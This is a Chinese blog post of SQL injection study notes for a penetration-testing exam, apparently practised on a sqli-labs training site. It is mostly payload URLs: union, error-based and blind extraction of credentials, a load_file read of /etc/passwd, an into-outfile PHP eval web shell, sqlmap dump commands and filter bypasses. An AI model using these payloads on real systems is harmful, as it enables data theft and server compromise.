PTE-SQL注入 - 生活琐事 - Fantasy
首页 > 生活琐事 > PTE-SQL注入

PTE-SQL注入

第一章 SQL注入

1、找寻注入点

2、判断注入类型

a.数字型 b.字符型

http://49.235.78.245:1111/Less-1/?id=1 and 1=1

http://49.235.78.245:1111/Less-1/?id=1 and 1=2

看看是否正常,如果都正常,说明a—nd后面的1=1,1=2没有生效。说明是字符型注入,有闭合。

3、判断闭合方式

字符型注入闭合方式:‘ ” ) ‘) “) % %)

注释方法: %23 –+ # %00

http://49.235.78.245:1111/Less-1/?id=1 and 1=1 %23 #显示查询结果

http://49.235.78.245:1111/Less-1/?id=1 and 1=2 %23 #不显示查询结果

说明闭合方式为 : ‘

4、判断列数 (order by

order by 排序函数 参数大于实际列数时,会报错。 以此来判断列数

http://49.235.78.245:1111/Less-1/?id=1′ order by 3 %23

5、联合查询 union selcet

http://49.235.78.245:1111/Less-1/?id=-1′ union select 1,2,3 %23

http://49.235.78.245:1111/Less-1/?id=-1′ union select 1,database(),version() %23

通过显示情况判断回显位置。

MySQL 常用表

information_schema.schemata #存储数据库中所有数据库的库名

information_schema.tables #存储数据库中所有数据表的表名

information_schema.columns #存储数据库中所有列的列名

常用字段

table_schema #数据库名称

table_name #数据表名称

column_name #列名称

依次查询:

查询所有库名

http://49.235.78.245:1111/Less-1/?id=-1′ union select 1,group_concat(schema_name),3 from information_schema.schemata %23

查询所有表名

http://49.235.78.245:1111/Less-1/?id=-1′ union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=’security’ %23

查询列名称

http://49.235.78.245:1111/Less-1/?id=-1′ union select 1,group_concat(column_name),3 from information_schema.columns where table_name=”users” %23

查询结果

http://49.235.78.245:1111/Less-1/?id=-2′ union select 1,group_concat(“@”, id,”:”,username,”:”,password,”@”),3 from users %23

常用函数:

1、load_file() #读取服务器本地文件

示例:

http://49.235.78.245:1111/Less-1/?id=-1′ union select 1,load_file(“/etc/passwd”),3 %23

2、into outfile() #向服务器写入指定文件

示例:

http://49.235.78.245:1112/show.php?id=-1 union select 1,”<?php @eval($_POST[‘c’]);?>”,3 into outfile “/var/www/html/cl.php” –+

3、hex() #16进制编码函数

4、unhex() #16进制编码函数

5、group_concat() #将查询结果集中到一行展示

6、user() #查询数据库使用者

报错注入

rand() 生成0到1之间的随机数

floor() 取整

concat(x,y) 拼接

limit a,b 从a+b的位置开始取值,取b个值

select uname a,count(*) x from user group by a

1、查库名

http://49.235.78.245:1111/Less-5/?id=-1′ union select null,count(*),concat( (select database()) ,floor(rand(0)*2) ) as a from information_schema.tables group by a %23

2、查表名

http://49.235.78.245:1111/Less-5/?id=-1′ union select null,count(*),concat((select table_name from information_schema.tables where table_schema=’security’ limit 0,1) ,floor(rand(0)*2)) as a from information_schema.tables group by a %23

3、查列名

http://49.235.78.245:1111/Less-5/?id=-1′ union select null,count(*),concat((select column_name from information_schema.columns where table_schema=’security’ and table_name=’users’ limit 0,1) ,floor(rand(0)*2)) as a from information_schema.columns group by a %23

extractvalue() 报错 extractvalue(1,2)

extractvalue() 返回长度超过32位字符就报错

http://49.235.78.245:1111/Less-5/?id=-1′ and extractvalue( 1,concat(‘~’,(select database()),’~’)) %23

updatexml() 报错 updatexml(1,2,3)

updatexml(1,concat(‘~’,(select database()),’~’),3) 必须写在第2位置

盲注

布尔盲注

截取函数 : substr ( database, 1 , 3) = dat

ASCII码函数 : ascii()

长度函数 : length()

计数函数 :count()

判断库名

http://49.235.78.245:1111/Less-8/?id=2 and ascii(substr((select database()),3,1)) >20 –+

判断数据表名

1、先看有几个表

http://xxx/?id=1‘ and (select count(table_name) from information_schema.tables where table_schema=database())=4 –+

2、判断表名长度

http://xxx/Less-8/?id=1and length((select table_name from information_schema.tables where table_schema=database() limit 0,1)) =6–+

3、判断表名

http://xxx/?id=1‘ and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)) =101 –+

时间盲注 if (1=1 ,sleep(5),1)

if(a,b,c) a为真执行b, a为假执行c

sleep(3) 延迟3秒执行

判断闭合

http://49.235.78.245:1111/Less-9/?id=1′ and if(1=1,sleep(3),1) –+

判断数据库长度

http://49.235.78.245:1111/Less-9/?id=1′ and if(length(database())>1,sleep(3),1) –+

判断库名

http://49.235.78.245:1111/Less-9/?id=1′ and if(ascii(substr(database(),1,1))>1,sleep(3),1) –+

二次注入

分为两个阶段

第一阶段,将特殊字符写入到数据库中

第二阶段,对写入数据库的特殊字符进行调用,完成注入

$newpass $currpass $username=admin’#

update user set password=$newpass where username =’admin’#’ and password =’$currpass’

万能密码登录

select username,passwd from users where username=$username and password=$password limit 0,1

利用 or 构建一个恒为真的值

select username,passwd from users where username=admin’ or 1=1# and password=$password limit 0,1

宽字节注入

SQLmap

爆破当前数据库

sqlmap -u “http://49.235.78.245:1111/Less-1/?id=1” –current-db (没有空格)

爆破所有数据库

sqlmap -u “http://49.235.78.245:1111/Less-1/?id=1” –dbs (所有数据库)

爆破security数据库中的所有table

sqlmap -u “http://49.235.78.245:1111/Less-8/?id=1” –tables -D “security” (指定参数需要大写)

爆破所有列

sqlmap -u “http://49.235.78.245:1111/Less-8/?id=1” –columns -T “users” -D “security”

爆破表格内容

sqlmap -u “http://49.235.78.245:1111/Less-1/?id=1” –dump-C “username,password” -T “users” -D “security”

过滤

union 被过滤 双写 :ununionion

空格被过滤 /**/

绕过

如果有过滤无法查询 unhex(hex( ))

提示:Illegal mix of collations for operation ‘UNION’

http://49.235.78.245:1111/Less-1/?id=-1′ union select 1,unhex(hex(group_concat(table_name))),3 from information_schema.tables where table_schema=’security’ %23

1.可以先使用大小写绕过,例如?id=1′ anD 1=1–+

2.复写过滤字符串,例如?id=1′ anandd 1=1–+

3.用“&&”符号取代and关键字,用“||“符号取代or关键字

4、= 号 用 like 代替

  1. 还没有评论
评论提交中, 请稍候...

留言

可以使用的标签: <a href="" title=""> <abbr title=""> <acronym title=""> <b> <blockquote cite=""> <cite> <code> <del datetime=""> <em> <i> <q cite=""> <s> <strike> <strong>
Trackbacks & Pingbacks ( 0 )
  1. 还没有 trackbacks
watch glee episodes joomla themes Wordpress主题站 templates2joomla